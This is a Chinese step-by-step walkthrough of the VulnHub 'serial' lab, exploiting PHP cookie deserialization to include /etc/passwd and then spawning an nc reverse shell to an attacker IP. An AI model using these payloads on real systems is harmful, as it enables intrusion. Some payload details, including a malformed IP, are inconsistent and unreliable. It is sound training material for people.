当前位置: 首页 > news >正文

反序列化靶机实战serial(保姆级教程)

一.信息收集

靶机地址下载:https://download.vulnhub.com/serial/serial.zip

打开靶机,在kali虚拟机中进行主机存活探测

可以知道靶机ip地址为192.168.133.171

然后扫描端口 可以发现有一个22端口跟80端口

然后接下来用kali扫描它的目录 

可以发现有一个可访问的目录 我们去访问一下

访问之后backup目录下有一个bak.zip 下载下来

下载下来之后有三个文件  分析一下

index.php

<?php
    include("user.class.php");

    if(!isset($_COOKIE['user'])) {
        setcookie("user", base64_encode(serialize(new User('sk4'))));
    } else {
        unserialize(base64_decode($_COOKIE['user']));
    }
    echo "This is a beta test for new cookie handler\n";
?>

log.class.php

<?php
  class Log {
    private $type_log;

    function __costruct($hnd) {
      $this->$type_log = $hnd;
    }

    public function handler($val) {
      include($this->type_log);
      echo "LOG: " . $val;
    }
  }
?>

user.class.php

<?php
  include("log.class.php");

  class Welcome {
    public function handler($val) {
      echo "Hello " . $val;
    }
  }

  class User {
    private $name;
    private $wel;

    function __construct($name) {
      $this->name = $name;
      $this->wel = new Welcome();
    }

    function __destruct() {
      //echo "bye\n";
      $this->wel->handler($this->name);
    }
  }

?>

 提示cookie,burpsuite抓包看一下cookie

cookie那里有一串base64加密的 解密一下

base64解码得到序列化后字段是

O:4:"User":2:{s:10:"Username";s:3:"sk4";s:9:"Userwel";O:7:"Welcome":0:{}}

 然后我们构造payload 读取/etc/passwd文件

O:4:"User":2:{s:10:"\x00User\x00name";s:5:"admin";s:9:"\x00User\x00wel";O:3:"Log":1:{s:8:"type_log";s:11:"/etc/passwd";}}')

base64编码

Tzo0OiJVc2VyIjoyOntzOjEwOiIAVXNlcgBuYW1lIjtzOjM6InNrNCI7czo5OiIAVXNlcgB3ZWwiO086MzoiTG9nIjoxOntzOjg6InR5cGVfbG9nIjtzOjExOiIvZXRjL3Bhc3N3ZCI7fX0=

 然后再次抓包 打开用burp的repeater

将加密后的替换一下 就可以看到  然后成功包含  看到有一个sk4用户可登陆

get shell

构造序列化语句上传shell

生成一个shell放在本地网站下

然后构造payload,尝试读取passwd文件,payload如下 新创建一个1.php在本地的www下 然后 把type_log参数后面记得改成自己上传到本地的一句话木马

<?phpclass Log {private $type_log = "/etc/passwd";}class User {private $name = "admin";private $wel;function __construct() {$this->wel = new Log();}
}
$obj = new User();
echo base64_encode(serialize($obj));

然后去访问自己新创建的php 我这里用的是7.php 打开就看到他的base64编码

然后去抓包 把访问7.php得到的base64编码 替换cookie

成功执行

开始反弹shell

rm+/tmp/f;mkfifo+/tmp/f;cat+/tmp/f|/bin/sh+-i+2>&1|nc+1192.168.133.163+6666+>/tmp/f

将上述代码url编码后填入参数位置

然后在kali里开启监听监听成功 

在攻击模块发送 成功获取shell

查看文件,多返回几次上级目录,找到一个txt文件

查看文件得到他的账号跟密码

最后在远程连接 成功进入

相关文章:

反序列化靶机实战serial(保姆级教程)

一.信息收集 靶机地址下载&#xff1a;https://download.vulnhub.com/serial/serial.zip 打开靶机&#xff0c;在kali虚拟机中进行主机存活探测 可以知道靶机ip地址为192.168.133.171 然后扫描端口 可以发现有一个22端口跟80端口 然后接下来用kali扫描它的目录 可以发现有一…...

【Git】git 从入门到实战系列(一)—— Git 的诞生,Linus 如何在 14 天内编写出 Git?

<> 博客简介&#xff1a;Linux、rtos系统&#xff0c;arm、stm32等芯片&#xff0c;嵌入式高级工程师、面试官、架构师&#xff0c;日常技术干货、个人总结、职场经验分享   <> 公众号&#xff1a;嵌入式技术部落   <> 系列专栏&#xff1a;C/C、Linux、rt…...

com.microsoft.sqlserve r:sqljdbc4:jar:4.0 was not found in......如何解决?

这个错误提示说 com.microsoft.sqlserver:sqljdbc4:jar:4.0 这个依赖无法从 Maven 中央仓库&#xff08;https://repo.maven.apache.org/maven2&#xff09;下载&#xff0c;导致项目无法构建。以下是解决该问题的几种方法&#xff1a; 方法一&#xff1a;手动安装依赖 下载 J…...

数据集——鸢尾花介绍和使用

文章目录 一、鸢尾花数据集内容二、使用中常转换DataFrame 一、鸢尾花数据集内容 from sklearn import svm, datasets # 鸢尾花数据 iris datasets.load_iris() print(iris.data) X iris.data[:, :2] # 为便于绘图仅选择2个特征 y iris.target它包含了150个样本&#xff0c…...

ElasticSearch第4篇(亿级中文数据量 ElasticSearch与Sphinx建索引速度、查询速度、并发性能、实测对比)

经过实测&#xff1a;1.09亿的数据量进行中文检索。ElasticSearch单机的检索性能在0.005~5.6秒之间&#xff0c;此检索速度可满足95%的业务场景&#xff08;注意&#xff1a;每条ES文档平均65个汉字&#xff0c;数据源取自几千本小说&#xff0c;大部分文档在15~300个汉字之间&…...

过期知识:thinkphp5 使用migrate给现有的数据表新增表字段

个人开发网站记录, 这个文章主要是个以后健忘的我看的. 我在搞我的画笔审核 , 发现数据表的画笔数据在审核驳回的时候还是软删除好一些, 免得用户找不到之前上传的画笔数据, 后期也可以考虑重新显示给用户,让用户可以修改画笔信息重新提交审核. 这个时候想起了…...

前端和Postman调用同一个接口,拿到的数据不一样

1、表现 联调一个List接口&#xff0c;Postman自测得到的ID和前端调用得到的ID&#xff0c;结果不一样。前者结果&#xff1a; 后者结果&#xff1a; 同一份代码、同一个数据库&#xff0c;出现这种错误&#xff0c;大概率是类型转换时出问题了&#xff0c;但检查代码发现&…...

1000W长连接,如何建立和维护?千万用户IM 架构设计

1000W长连接&#xff0c;如何建立和维护&#xff1f;千万用户IM 架构设计 在40岁老架构师 尼恩的读者交流群(50)中&#xff0c;最近有小伙伴拿到了一线互联网企业如得物、阿里、滴滴、极兔、有赞、希音、百度、网易、美团的面试资格&#xff0c;遇到很多很重要的架构类/设计类…...

vulhub:Apache解析漏洞CVE-2017-15715

Apache HTTPD是一款HTTP服务器&#xff0c;它可以通过mod_php来运行PHP网页。其2.4.0~2.4.29版本中存在一个换行解析漏洞&#xff0c;在解析PHP时&#xff0c;1.php\x0A将被按照PHP后缀进行解析&#xff0c;导致绕过一些服务器的安全策略。 #启动靶机 cd /Vulnhub/vulhub-mast…...

开发中可能会面临的真实问题及处理流程

接口返回数据不符合预期 问题描述&#xff1a;接口返回的数据结构或字段名称与前端预期不符&#xff0c;导致页面展示错误。 处理流程&#xff1a; 检查接口文档&#xff1a;确保前后端约定的接口文档是最新的&#xff0c;并且描述一致。 前后端沟通&#xff1a;与后端开发人员…...

个性化你的生产力工具:待办事项App定制指南

国内外主流的10款待办事项软件对比&#xff1a;PingCode、Worktile、滴答清单、番茄ToDo、Teambition、Todoist、Microsoft To Do、TickTick、Any.do、Trello。 在寻找合适的待办事项软件时&#xff0c;你是否感到选择众多、难以决断&#xff1f;一个好的待办事项工具可以大大提…...

本地部署持续集成工具Jenkins并配置公网地址实现远程自动化构建

文章目录 前言1. 安装Jenkins2. 局域网访问Jenkins3. 安装 cpolar内网穿透软件4. 配置Jenkins公网访问地址5. 公网远程访问Jenkins6. 固定公网地址 前言 本文主要介绍如何在Linux CentOS 7中安装Jenkins并结合cpolar内网穿透工具实现远程访问管理本地部署的Jenkins服务. Jenk…...

【数据结构】了解哈希表,解决哈希冲突,用Java模拟实现哈希桶

哈希表的概念 哈希表&#xff08;Hash Table&#xff09;是一种高效的数据结构&#xff0c;用于实现快速的数据存储和检索。它通过将数据映射到一个数组的索引位置&#xff0c;从而能够在平均情况下实现O(1)的时间复杂度进行查找、插入和删除操作。 哈希表的基本概念包括以下…...

qt5 ui转python或C++文件

firstMainWin.ui转换成.py文件&#xff0c;输入以下命令即可 pyuic5 -o firstMainWin.py firstMainwin. ui python -m PyQt5.uic.pyuic Img_ui.ui -o Img_ui.py firstMainWin.ui转换成c文件&#xff0c;输入以下命令即可 uic firstMainWin.ui -o hello.h ##用python转 新建…...

scp命令详解

scp&#xff08;secure copy&#xff09;是一个基于 SSH 的命令行工具&#xff0c;用于在不同计算机之间安全地复制文件和目录。scp 提供了在本地和远程主机之间传输文件的简单方法&#xff0c;并且支持加密和认证&#xff0c;确保文件传输的安全性。 基本用法 从本地复制到远…...

算法小白的进阶之路(力扣1~5)

&#x1f49d;&#x1f49d;&#x1f49d;欢迎来到我的博客&#xff0c;很高兴能够在这里和您见面&#xff01;希望您在这里可以感受到一份轻松愉快的氛围&#xff0c;不仅可以获得有趣的内容和知识&#xff0c;也可以畅所欲言、分享您的想法和见解。 非常期待和您一起在这个小…...

昇思25天学习打卡营第22天|MindSporeK基于Diffusion扩散模型学习- Diffusion与其他生成模型

Diffusion扩散模型 本文基于Hugging Face&#xff1a;The Annotated Diffusion Model一文翻译迁移而来&#xff0c;同时参考了由浅入深了解Diffusion Model一文。 本教程在Jupyter Notebook上成功运行。如您下载本文档为Python文件&#xff0c;执行Python文件时&#xff0c;请…...

【C++版本】protobuf与gRPC

文章目录 一、Protobuf二、安装以及使用protoc三、gRPC1.Q&A2.学习版rpc3.gRPC压缩算法 参考 一、Protobuf Google Protocol Buffers&#xff08;protobuf&#xff09;是一种语言中立、平台中立的序列化协议&#xff0c;旨在高效地将结构化数据进行序列化和反序列化。它主要…...

要抓住国际白银现货行情 以下这几点需要注意

国际白银现货行情最近表现不甚稳定&#xff0c;在七月上旬出现了比较强势的上涨&#xff0c;但随后出现强势的下跌&#xff0c;跌破了30关口。如果我们要抓住国际白银现货行情&#xff0c;那么以下这几点我们就需要注意。 一&#xff0c;建立交易计划&#xff0c;并且按计划执行…...

【计算机毕业设计】​720图书馆智能选座系统

&#x1f64a;作者简介&#xff1a;拥有多年开发工作经验&#xff0c;分享技术代码帮助学生学习&#xff0c;独立完成自己的项目或者毕业设计。 代码可以私聊博主获取。&#x1f339;赠送计算机毕业设计600个选题excel文件&#xff0c;帮助大学选题。赠送开题报告模板&#xff…...

微信小程序之bind和catch

这两个呢&#xff0c;都是绑定事件用的&#xff0c;具体使用有些小区别。 官方文档&#xff1a; 事件冒泡处理不同 bind&#xff1a;绑定的事件会向上冒泡&#xff0c;即触发当前组件的事件后&#xff0c;还会继续触发父组件的相同事件。例如&#xff0c;有一个子视图绑定了b…...

大话软工笔记—需求分析概述

需求分析&#xff0c;就是要对需求调研收集到的资料信息逐个地进行拆分、研究&#xff0c;从大量的不确定“需求”中确定出哪些需求最终要转换为确定的“功能需求”。 需求分析的作用非常重要&#xff0c;后续设计的依据主要来自于需求分析的成果&#xff0c;包括: 项目的目的…...

Prompt Tuning、P-Tuning、Prefix Tuning的区别

一、Prompt Tuning、P-Tuning、Prefix Tuning的区别 1. Prompt Tuning(提示调优) 核心思想:固定预训练模型参数,仅学习额外的连续提示向量(通常是嵌入层的一部分)。实现方式:在输入文本前添加可训练的连续向量(软提示),模型只更新这些提示参数。优势:参数量少(仅提…...

Redis相关知识总结(缓存雪崩,缓存穿透,缓存击穿,Redis实现分布式锁,如何保持数据库和缓存一致)

文章目录 1.什么是Redis&#xff1f;2.为什么要使用redis作为mysql的缓存&#xff1f;3.什么是缓存雪崩、缓存穿透、缓存击穿&#xff1f;3.1缓存雪崩3.1.1 大量缓存同时过期3.1.2 Redis宕机 3.2 缓存击穿3.3 缓存穿透3.4 总结 4. 数据库和缓存如何保持一致性5. Redis实现分布式…...

系统设计 --- MongoDB亿级数据查询优化策略

系统设计 --- MongoDB亿级数据查询分表策略 背景Solution --- 分表 背景 使用audit log实现Audi Trail功能 Audit Trail范围: 六个月数据量: 每秒5-7条audi log&#xff0c;共计7千万 – 1亿条数据需要实现全文检索按照时间倒序因为license问题&#xff0c;不能使用ELK只能使用…...

macOS多出来了:Google云端硬盘、YouTube、表格、幻灯片、Gmail、Google文档等应用

文章目录 问题现象问题原因解决办法 问题现象 macOS启动台&#xff08;Launchpad&#xff09;多出来了&#xff1a;Google云端硬盘、YouTube、表格、幻灯片、Gmail、Google文档等应用。 问题原因 很明显&#xff0c;都是Google家的办公全家桶。这些应用并不是通过独立安装的…...

数据链路层的主要功能是什么

数据链路层&#xff08;OSI模型第2层&#xff09;的核心功能是在相邻网络节点&#xff08;如交换机、主机&#xff09;间提供可靠的数据帧传输服务&#xff0c;主要职责包括&#xff1a; &#x1f511; 核心功能详解&#xff1a; 帧封装与解封装 封装&#xff1a; 将网络层下发…...

Caliper 配置文件解析:config.yaml

Caliper 是一个区块链性能基准测试工具,用于评估不同区块链平台的性能。下面我将详细解释你提供的 fisco-bcos.json 文件结构,并说明它与 config.yaml 文件的关系。 fisco-bcos.json 文件解析 这个文件是针对 FISCO-BCOS 区块链网络的 Caliper 配置文件,主要包含以下几个部…...

基于matlab策略迭代和值迭代法的动态规划

经典的基于策略迭代和值迭代法的动态规划matlab代码&#xff0c;实现机器人的最优运输 Dynamic-Programming-master/Environment.pdf , 104724 Dynamic-Programming-master/README.md , 506 Dynamic-Programming-master/generalizedPolicyIteration.m , 1970 Dynamic-Programm…...

使用LangGraph和LangSmith构建多智能体人工智能系统

现在&#xff0c;通过组合几个较小的子智能体来创建一个强大的人工智能智能体正成为一种趋势。但这也带来了一些挑战&#xff0c;比如减少幻觉、管理对话流程、在测试期间留意智能体的工作方式、允许人工介入以及评估其性能。你需要进行大量的反复试验。 在这篇博客〔原作者&a…...